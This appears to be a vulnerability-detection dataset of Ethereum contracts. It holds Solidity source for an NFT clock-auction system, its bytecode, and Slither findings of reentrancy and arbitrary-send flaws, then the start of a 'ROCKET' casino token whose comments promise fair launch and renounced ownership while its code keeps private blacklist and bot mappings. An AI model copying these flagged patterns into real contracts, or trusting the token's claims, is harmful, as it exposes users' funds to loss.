// NOTE: 0 if this auction has been concluded
uint64 startedAt;
}
// Map from token ID to their corresponding auction.
mapping (uint256 => Auction) tokenIdToAuction;
function addAuction(
uint256 _tokenId,
address _seller,
uint128 _startingPrice,
uint128 _endingPrice,
uint64 _duration,
uint64 _startedAt
)
external
onlyOwner
{
tokenIdToAuction[_tokenId] = Auction(
_seller,
_startingPrice,
_endingPrice,
_duration,
_startedAt
);
}
function removeAuction(uint256 _tokenId) public onlyOwner {
delete tokenIdToAuction[_tokenId];
}
function getAuction(uint256 _tokenId)
external
view
returns (
address seller,
uint128 startingPrice,
uint128 endingPrice,
uint64 duration,
uint64 startedAt
)
{
Auction storage auction = tokenIdToAuction[_tokenId];
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function isOnAuction(uint256 _tokenId) external view returns (bool) {
return (tokenIdToAuction[_tokenId].startedAt > 0);
}
function getSeller(uint256 _tokenId) external view returns (address) {
return tokenIdToAuction[_tokenId].seller;
}
function transfer(ERC721 _nonFungibleContract, address _receiver, uint256 _tokenId) external onlyOwner {
// it will throw if transfer fails
_nonFungibleContract.transfer(_receiver, _tokenId);
}
}
contract SaleClockAuctionStorage is ClockAuctionStorage {
bool public isSaleClockAuctionStorage = true;
// total accumulate sold count
uint256 public totalSoldCount;
// last 3 sale price
uint256[3] public lastSoldPrices;
// current on sale auction count from system
uint256 public systemOnSaleCount;
// map of on sale token ids from system
mapping (uint256 => bool) systemOnSaleTokens;
function removeAuction(uint256 _tokenId) public onlyOwner {
// first remove auction from state variable
super.removeAuction(_tokenId);
// update system on sale record
if (systemOnSaleTokens[_tokenId]) {
delete systemOnSaleTokens[_tokenId];
if (systemOnSaleCount > 0) {
systemOnSaleCount--;
}
}
}
function recordSystemOnSaleToken(uint256 _tokenId) external onlyOwner {
if (!systemOnSaleTokens[_tokenId]) {
systemOnSaleTokens[_tokenId] = true;
systemOnSaleCount++;
}
}
function recordSoldPrice(uint256 _price) external onlyOwner {
lastSoldPrices[totalSoldCount % 3] = _price;
totalSoldCount++;
}
function averageSoldPrice() external view returns (uint256) {
if (totalSoldCount == 0) return 0;
uint256 sum = 0;
uint256 len = (totalSoldCount < 3 ? totalSoldCount : 3);
for (uint256 i = 0; i < len; i++) {
sum += lastSoldPrices[i];
}
return sum / len;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract HasNoContracts is Pausable {
function reclaimContract(address _contractAddr) external onlyOwner whenPaused {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
contract LogicBase is HasNoContracts {
/// The ERC-165 interface signature for ERC-721.
/// Ref: https://github.com/ethereum/EIPs/issues/165
/// Ref: https://github.com/ethereum/EIPs/issues/721
bytes4 constant InterfaceSignature_NFC = bytes4(0x9f40b779);
// Reference to contract tracking NFT ownership
ERC721 public nonFungibleContract;
// Reference to storage contract
StorageBase public storageContract;
function LogicBase(address _nftAddress, address _storageAddress) public {
// paused by default
paused = true;
setNFTAddress(_nftAddress);
require(_storageAddress != address(0));
storageContract = StorageBase(_storageAddress);
}
// Very dangerous action, only when new contract has been proved working
// Requires storageContract already transferOwnership to the new contract
// This method is only used to transfer the balance to owner
function destroy() external onlyOwner whenPaused {
address storageOwner = storageContract.owner();
// owner of storageContract must not be the current contract otherwise the storageContract will forever not accessible
require(storageOwner != address(this));
// Transfers the current balance to the owner and terminates the contract
selfdestruct(owner);
}
// Very dangerous action, only when new contract has been proved working
// Requires storageContract already transferOwnership to the new contract
// This method is only used to transfer the balance to the new contract
function destroyAndSendToStorageOwner() external onlyOwner whenPaused {
address storageOwner = storageContract.owner();
// owner of storageContract must not be the current contract otherwise the storageContract will forever not accessible
require(storageOwner != address(this));
// Transfers the current balance to the new owner of the storage contract and terminates the contract
selfdestruct(storageOwner);
}
// override to make sure everything is initialized before the unpause
function unpause() public onlyOwner whenPaused {
// can not unpause when the logic contract is not initialzed
require(nonFungibleContract != address(0));
require(storageContract != address(0));
// can not unpause when ownership of storage contract is not the current contract
require(storageContract.owner() == address(this));
super.unpause();
}
function setNFTAddress(address _nftAddress) public onlyOwner {
require(_nftAddress != address(0));
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_NFC));
nonFungibleContract = candidateContract;
}
// Withdraw balance to the Core Contract
function withdrawBalance() external returns (bool) {
address nftAddress = address(nonFungibleContract);
// either Owner or Core Contract can trigger the withdraw
require(msg.sender == owner || msg.sender == nftAddress);
// The owner has a method to withdraw balance from multiple contracts together,
// use send here to make sure even if one withdrawBalance fails the others will still work
bool res = nftAddress.send(address(this).balance);
return res;
}
function withdrawBalanceFromStorageContract() external returns (bool) {
address nftAddress = address(nonFungibleContract);
// either Owner or Core Contract can trigger the withdraw
require(msg.sender == owner || msg.sender == nftAddress);
// The owner has a method to withdraw balance from multiple contracts together,
// use send here to make sure even if one withdrawBalance fails the others will still work
bool res = storageContract.withdrawBalance();
return res;
}
}
contract ClockAuction is LogicBase {
// Reference to contract tracking auction state variables
ClockAuctionStorage public clockAuctionStorage;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 public ownerCut;
// Minimum cut value on each auction (in WEI)
uint256 public minCutValue;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner, address seller, uint256 sellerProceeds);
event AuctionCancelled(uint256 tokenId);
function ClockAuction(address _nftAddress, address _storageAddress, uint256 _cut, uint256 _minCutValue)
LogicBase(_nftAddress, _storageAddress) public
{
setOwnerCut(_cut);
setMinCutValue(_minCutValue);
clockAuctionStorage = ClockAuctionStorage(_storageAddress);
}
function setOwnerCut(uint256 _cut) public onlyOwner {
require(_cut <= 10000);
ownerCut = _cut;
}
function setMinCutValue(uint256 _minCutValue) public onlyOwner {
minCutValue = _minCutValue;
}
function getMinPrice() public view returns (uint256) {
// return ownerCut > 0 ? (minCutValue / ownerCut * 10000) : 0;
// use minCutValue directly, when the price == minCutValue seller will get no profit
return minCutValue;
}
// Only auction from none system user need to verify the price
// System auction can set any price
function isValidPrice(uint256 _startingPrice, uint256 _endingPrice) public view returns (bool) {
return (_startingPrice < _endingPrice ? _startingPrice : _endingPrice) >= getMinPrice();
}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
public
whenNotPaused
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
// assigning ownership to this clockAuctionStorage when in auction
// it will throw if transfer fails
nonFungibleContract.transferFrom(_seller, address(clockAuctionStorage), _tokenId);
// Require that all auctions have a duration of at least one minute.
require(_duration >= 1 minutes);
clockAuctionStorage.addAuction(
_tokenId,
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
emit AuctionCreated(_tokenId, _startingPrice, _endingPrice, _duration);
}
function cancelAuction(uint256 _tokenId) external {
require(clockAuctionStorage.isOnAuction(_tokenId));
address seller = clockAuctionStorage.getSeller(_tokenId);
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId) external whenPaused onlyOwner {
require(clockAuctionStorage.isOnAuction(_tokenId));
address seller = clockAuctionStorage.getSeller(_tokenId);
_cancelAuction(_tokenId, seller);
}
function getAuction(uint256 _tokenId)
public
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
require(clockAuctionStorage.isOnAuction(_tokenId));
return clockAuctionStorage.getAuction(_tokenId);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
require(clockAuctionStorage.isOnAuction(_tokenId));
return _currentPrice(_tokenId);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
clockAuctionStorage.removeAuction(_tokenId);
clockAuctionStorage.transfer(nonFungibleContract, _seller, _tokenId);
emit AuctionCancelled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount, address bidder) internal returns (uint256) {
require(clockAuctionStorage.isOnAuction(_tokenId));
// Check that the bid is greater than or equal to the current price
uint256 price = _currentPrice(_tokenId);
require(_bidAmount >= price);
address seller = clockAuctionStorage.getSeller(_tokenId);
uint256 sellerProceeds = 0;
// Remove the auction before sending the fees to the sender so we can't have a reentrancy attack
clockAuctionStorage.removeAuction(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the auctioneer's cut, so this subtraction can't go negative
uint256 auctioneerCut = _computeCut(price);
sellerProceeds = price - auctioneerCut;
// transfer the sellerProceeds
seller.transfer(sellerProceeds);
}
// Calculate any excess funds included with the bid
// transfer it back to bidder.
// this cannot underflow.
uint256 bidExcess = _bidAmount - price;
bidder.transfer(bidExcess);
emit AuctionSuccessful(_tokenId, price, bidder, seller, sellerProceeds);
return price;
}
function _currentPrice(uint256 _tokenId) internal view returns (uint256) {
uint256 secondsPassed = 0;
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
(seller, startingPrice, endingPrice, duration, startedAt) = clockAuctionStorage.getAuction(_tokenId);
if (now > startedAt) {
secondsPassed = now - startedAt;
}
return _computeCurrentPrice(
startingPrice,
endingPrice,
duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
// this delta can be negative.
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
// This multiplication can't overflow, _secondsPassed will easily fit within
// 64-bits, and totalPriceChange will easily fit within 128-bits, their product
// will always fit within 256-bits.
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
// this result will always end up positive.
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
uint256 cutValue = _price * ownerCut / 10000;
if (_price < minCutValue) return cutValue;
if (cutValue > minCutValue) return cutValue;
return minCutValue;
}
}
contract SaleClockAuction is ClockAuction {
bool public isSaleClockAuction = true;
address public systemSaleAddress;
uint256 public systemStartingPriceMin = 20 finney;
uint256 public systemEndingPrice = 0;
uint256 public systemAuctionDuration = 1 days;
function SaleClockAuction(address _nftAddr, address _storageAddress, address _systemSaleAddress, uint256 _cut, uint256 _minCutValue)
ClockAuction(_nftAddr, _storageAddress, _cut, _minCutValue) public
{
require(SaleClockAuctionStorage(_storageAddress).isSaleClockAuctionStorage());
setSystemSaleAddress(_systemSaleAddress);
}
function bid(uint256 _tokenId) external payable {
uint256 price = _bid(_tokenId, msg.value, msg.sender);
clockAuctionStorage.transfer(nonFungibleContract, msg.sender, _tokenId);
SaleClockAuctionStorage(clockAuctionStorage).recordSoldPrice(price);
}
function createSystemAuction(uint256 _tokenId) external {
require(msg.sender == address(nonFungibleContract));
createAuction(
_tokenId,
computeNextSystemSalePrice(),
systemEndingPrice,
systemAuctionDuration,
systemSaleAddress
);
SaleClockAuctionStorage(clockAuctionStorage).recordSystemOnSaleToken(_tokenId);
}
function setSystemSaleAddress(address _systemSaleAddress) public onlyOwner {
require(_systemSaleAddress != address(0));
systemSaleAddress = _systemSaleAddress;
}
function setSystemStartingPriceMin(uint256 _startingPrice) external onlyOwner {
require(_startingPrice == uint256(uint128(_startingPrice)));
systemStartingPriceMin = _startingPrice;
}
function setSystemEndingPrice(uint256 _endingPrice) external onlyOwner {
require(_endingPrice == uint256(uint128(_endingPrice)));
systemEndingPrice = _endingPrice;
}
function setSystemAuctionDuration(uint256 _duration) external onlyOwner {
require(_duration == uint256(uint64(_duration)));
systemAuctionDuration = _duration;
}
function totalSoldCount() external view returns (uint256) {
return SaleClockAuctionStorage(clockAuctionStorage).totalSoldCount();
}
function systemOnSaleCount() external view returns (uint256) {
return SaleClockAuctionStorage(clockAuctionStorage).systemOnSaleCount();
}
function averageSoldPrice() external view returns (uint256) {
return SaleClockAuctionStorage(clockAuctionStorage).averageSoldPrice();
}
function computeNextSystemSalePrice() public view returns (uint256) {
uint256 avePrice = SaleClockAuctionStorage(clockAuctionStorage).averageSoldPrice();
require(avePrice == uint256(uint128(avePrice)));
uint256 nextPrice = avePrice + (avePrice / 2);
if (nextPrice < systemStartingPriceMin) {
nextPrice = systemStartingPriceMin;
}
return nextPrice;
}
}
|
0x6060604052600436106101d45763ffffffff60e060020a6000350416630337aa7481146101d95780630e8ef0c1146101fe57806311ce02671461021157806314c33c241461024057806323bc29a01461025857806327ebe40a1461026b5780632a607962146102965780632aed7f3f146102a95780632f798500146102c85780633f4ba83a146102db578063454a2ab3146102ee5780634616fc3f146102f95780634ccef7e0146103185780635c975abb1461032b5780635fd8c7101461035257806369d03738146103655780636baa0f8e1461038457806370bab35d1461039a578063757de573146103ad57806378bd7935146103c35780637fb0a4451461041457806383197ef01461042757806383b5ff8b1461043a5780638456cb591461044d57806385b8618814610460578063878eb368146104735780638da5cb5b1461048957806396b5a7551461049c578063a43d76e9146104b2578063b5794222146104cb578063ba6763ce146104de578063c501024b146104f1578063c55d0f5614610507578063dd1b7a0f1461051d578063dd489e4414610530578063e31a811614610546578063ed879c7714610559578063f212c2161461056c578063f2fde38b14610582578063f73052e8146105a1575b600080fd5b34156101e457600080fd5b6101ec6105b4565b60405190815260200160405180910390f35b341561020957600080fd5b6101ec6105ba565b341561021c57600080fd5b610224610617565b604051600160a060020a03909116815260200160405180910390f35b341561024b57600080fd5b610256600435610626565b005b341561026357600080fd5b6101ec61065b565b341561027657600080fd5b610256600435602435604435606435600160a060020a0360843516610661565b34156102a157600080fd5b6101ec61084d565b34156102b457600080fd5b610256600160a060020a0360043516610853565b34156102d357600080fd5b6102246108f2565b34156102e657600080fd5b610256610901565b6102566004356109db565b341561030457600080fd5b610256600160a060020a0360043516610aae565b341561032357600080fd5b6101ec610b13565b341561033657600080fd5b61033e610b55565b604051901515815260200160405180910390f35b341561035d57600080fd5b61033e610b65565b341561037057600080fd5b610256600160a060020a0360043516610be1565b341561038f57600080fd5b610256600435610ced565b34156103a557600080fd5b6101ec610d8b565b34156103b857600080fd5b610256600435610d91565b34156103ce57600080fd5b6103d9600435610dc0565b604051600160a060020a03909516855260208501939093526040808501929092526060840152608083019190915260a0909101905180910390f35b341561041f57600080fd5b610224610ed9565b341561043257600080fd5b610256610eed565b341561044557600080fd5b6101ec610fa8565b341561045857600080fd5b610256610fae565b341561046b57600080fd5b61033e611032565b341561047e57600080fd5b61025660043561103b565b341561049457600080fd5b610224611148565b34156104a757600080fd5b610256600435611157565b34156104bd57600080fd5b61033e600435602435611247565b34156104d657600080fd5b610256611269565b34156104e957600080fd5b61033e611322565b34156104fc57600080fd5b6102566004356113c2565b341561051257600080fd5b6101ec6004356113e2565b341561052857600080fd5b61022461145e565b341561053b57600080fd5b61025660043561146d565b341561055157600080fd5b6101ec6114a2565b341561056457600080fd5b6101ec6114a8565b341561057757600080fd5b610256600435611537565b341561058d57600080fd5b610256600160a060020a036004351661156d565b34156105ac57600080fd5b6101ec61161e565b60095481565b600354600090600160a060020a0316630e8ef0c16040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156105fc57600080fd5b5af1151561060957600080fd5b505050604051805191505090565b600254600160a060020a031681565b60005433600160a060020a0390811691161461064157600080fd5b6001608060020a038116811461065657600080fd5b600855565b60085481565b60005460a060020a900460ff161561067857600080fd5b6001608060020a038416841461068d57600080fd5b6001608060020a03831683146106a257600080fd5b67ffffffffffffffff821682146106b857600080fd5b60015433600160a060020a039081169116146106d357600080fd5b600154600354600160a060020a03918216916323b872dd918491168860405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b151561073e57600080fd5b5af1151561074b57600080fd5b505050603c82101561075c57600080fd5b600354600160a060020a031663da26d0b986838787874260405160e060020a63ffffffff89160281526004810196909652600160a060020a0390941660248601526001608060020a0392831660448601529116606484015267ffffffffffffffff90811660848401521660a482015260c401600060405180830381600087803b15156107e757600080fd5b5af115156107f457600080fd5b5050507fa9c8dfcda5664a5a124c713e386da27de87432d5b668e79458501eb296389ba7858585856040518085815260200184815260200183815260200182815260200194505050505060405180910390a15050505050565b60055481565b6000805433600160a060020a0390811691161461086f57600080fd5b60005460a060020a900460ff16151561088757600080fd5b506000548190600160a060020a038083169163f2fde38b911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156108de57600080fd5b5af115156108eb57600080fd5b5050505050565b600354600160a060020a031681565b60005433600160a060020a0390811691161461091c57600080fd5b60005460a060020a900460ff16151561093457600080fd5b600154600160a060020a0316151561094b57600080fd5b600254600160a060020a0316151561096257600080fd5b600254600160a060020a033081169116638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156109a557600080fd5b5af115156109b257600080fd5b50505060405180519050600160a060020a03161415156109d157600080fd5b6109d9611660565b565b60006109e88234336116df565b600354600154919250600160a060020a039081169163beabacc89116338560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515610a5557600080fd5b5af11515610a6257600080fd5b5050600354600160a060020a031690506306cc2cd28260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156108de57600080fd5b60005433600160a060020a03908116911614610ac957600080fd5b600160a060020a0381161515610ade57600080fd5b60068054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600354600090600160a060020a0316634ccef7e06040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156105fc57600080fd5b60005460a060020a900460ff1681565b600154600080549091600160a060020a0390811691839133811691161480610b9e575081600160a060020a031633600160a060020a0316145b1515610ba957600080fd5b81600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f1979650505050505050565b6000805433600160a060020a03908116911614610bfd57600080fd5b600160a060020a0382161515610c1257600080fd5b5080600160a060020a0381166301ffc9a77f9f40b7790000000000000000000000000000000000000000000000000000000060405160e060020a63ffffffff84160281527fffffffff000000000000000000000000000000000000000000000000000000009091166004820152602401602060405180830381600087803b1515610c9b57600080fd5b5af11515610ca857600080fd5b505050604051805190501515610cbd57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905550565b60015433600160a060020a03908116911614610d0857600080fd5b610d3081610d146114a8565b6008546009546006546101009004600160a060020a0316610661565b600354600160a060020a031663fd7ffdb88260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515610d7857600080fd5b5af11515610d8557600080fd5b50505050565b60075481565b60005433600160a060020a03908116911614610dac57600080fd5b612710811115610dbb57600080fd5b600455565b6003546000908190819081908190600160a060020a03166337e246ad8760405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610e1357600080fd5b5af11515610e2057600080fd5b505050604051805190501515610e3557600080fd5b600354600160a060020a03166378bd79358760405160e060020a63ffffffff8416028152600481019190915260240160a060405180830381600087803b1515610e7d57600080fd5b5af11515610e8a57600080fd5b5050506040518051906020018051906020018051906020018051906020018051949950506001608060020a0392831697509116945067ffffffffffffffff908116935016905091939590929450565b6006546101009004600160a060020a031681565b6000805433600160a060020a03908116911614610f0957600080fd5b60005460a060020a900460ff161515610f2157600080fd5b600254600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610f6057600080fd5b5af11515610f6d57600080fd5b50505060405180519050905030600160a060020a031681600160a060020a031614151515610f9a57600080fd5b600054600160a060020a0316ff5b60045481565b60005433600160a060020a03908116911614610fc957600080fd5b60005460a060020a900460ff1615610fe057600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60065460ff1681565b6000805460a060020a900460ff16151561105457600080fd5b60005433600160a060020a0390811691161461106f57600080fd5b600354600160a060020a03166337e246ad8360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156110b757600080fd5b5af115156110c457600080fd5b5050506040518051905015156110d957600080fd5b600354600160a060020a031663d6a9de518360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561112157600080fd5b5af1151561112e57600080fd5b505050604051805190509050611144828261191b565b5050565b600054600160a060020a031681565b600354600090600160a060020a03166337e246ad8360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156111a257600080fd5b5af115156111af57600080fd5b5050506040518051905015156111c457600080fd5b600354600160a060020a031663d6a9de518360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561120c57600080fd5b5af1151561121957600080fd5b505050604051805191505033600160a060020a039081169082161461123d57600080fd5b611144828261191b565b60006112516114a2565b82841061125e5782611260565b835b10159392505050565b6000805433600160a060020a0390811691161461128557600080fd5b60005460a060020a900460ff16151561129d57600080fd5b600254600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156112dc57600080fd5b5af115156112e957600080fd5b50505060405180519050905030600160a060020a031681600160a060020a03161415151561131657600080fd5b80600160a060020a0316ff5b600154600080549091600160a060020a039081169183913381169116148061135b575081600160a060020a031633600160a060020a0316145b151561136657600080fd5b600254600160a060020a0316635fd8c7106040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156113a557600080fd5b5af115156113b257600080fd5b5050506040518051949350505050565b60005433600160a060020a039081169116146113dd57600080fd5b600555565b600354600090600160a060020a03166337e246ad8360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561142d57600080fd5b5af1151561143a57600080fd5b50505060405180519050151561144f57600080fd5b61145882611a24565b92915050565b600154600160a060020a031681565b60005433600160a060020a0390811691161461148857600080fd5b6001608060020a038116811461149d57600080fd5b600755565b60055490565b60035460009081908190600160a060020a0316634ccef7e06040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156114ee57600080fd5b5af115156114fb57600080fd5b50505060405180519250506001608060020a038216821461151b57600080fd5b6002820482019050600754811015611458575060075492915050565b60005433600160a060020a0390811691161461155257600080fd5b67ffffffffffffffff8116811461156857600080fd5b600955565b60005433600160a060020a0390811691161461158857600080fd5b600160a060020a038116151561159d57600080fd5b6000547f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600160a060020a031682604051600160a060020a039283168152911660208201526040908101905180910390a16000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600090600160a060020a031663f73052e86040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156105fc57600080fd5b60005433600160a060020a0390811691161461167b57600080fd5b60005460a060020a900460ff16151561169357600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009081908190819081908190600160a060020a03166337e246ad8a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561173457600080fd5b5af1151561174157600080fd5b50505060405180519050151561175657600080fd5b61175f89611a24565b94508488101561176e57600080fd5b600354600160a060020a031663d6a9de518a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156117b657600080fd5b5af115156117c357600080fd5b505050604051805160035490955060009450600160a060020a03169050632dd7030b8a60405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561181c57600080fd5b5af1151561182957600080fd5b50505060008511156118765761183e85611b0d565b80860393509150600160a060020a03841683156108fc0284604051600060405180830381858888f19350505050151561187657600080fd5b50838703600160a060020a03871681156108fc0282604051600060405180830381858888f1935050505015156118ab57600080fd5b7fc2a394cb356728b3540b84dee72ea6de41f44fd94de223565258efe1549ee06f89868987876040519485526020850193909352600160a060020a0391821660408086019190915291166060840152608083019190915260a0909101905180910390a15092979650505050505050565b600354600160a060020a0316632dd7030b8360405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561196357600080fd5b5af1151561197057600080fd5b5050600354600154600160a060020a03918216925063beabacc89116838560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b15156119dd57600080fd5b5af115156119ea57600080fd5b5050507f2809c7e17bf978fbc7194c0a694b638c4215e9140cacc6c38ca36010b45697df8260405190815260200160405180910390a15050565b600354600090819081908190819081908190600160a060020a03166378bd79358960405160e060020a63ffffffff8416028152600481019190915260240160a060405180830381600087803b1515611a7b57600080fd5b5af11515611a8857600080fd5b505050604051805190602001805190602001805190602001805190602001805194995092975090955093509091505067ffffffffffffffff8116421115611ad9578067ffffffffffffffff16420395505b611b01846001608060020a0316846001608060020a03168467ffffffffffffffff1689611b54565b98975050505050505050565b6000806127106004548402811515611b2157fe5b049050600554831015611b3657809150611b4e565b600554811115611b4857809150611b4e565b60055491505b50919050565b6000808080858510611b6857869350611b86565b878703925085858402811515611b7a57fe5b05915081880190508093505b5050509493505050505600a165627a7a723058209f3ad1b9a22a4fd54505f5e71568a206ab0ab37dec1bc59f7bfe6b64cda914290029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,759 |
0xca6f4b41d356fcc85f96bccf69a5d0252c6c7a87
|
/*
______ _
(_____ \ | | _
_____) )___ ____| | _ _____ _| |_
| __ // _ \ / ___) |_/ ) ___ (_ _)
| | \ \ |_| ( (___| _ (| ____| | |_
|_| |_\___/ \____)_| \_)_____) \__)
ROCKET is the official token for the Rocket Casino.
0% Tax, All funding is provided by the team
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
100% Fair Launch - no presale, no whitelist
Team will invest their own money on launch like everyone else
More info available on our telegram and website
Gamble and invest responsibly.
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract ROCKET is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 4500000000000*10**18;
string public _name = "ROCKET";
string public _symbol= "ROCKET";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0xAE12D07F07e6201e8b0F0E72FeBA0159A21A7671);
modifier onlyOwner {
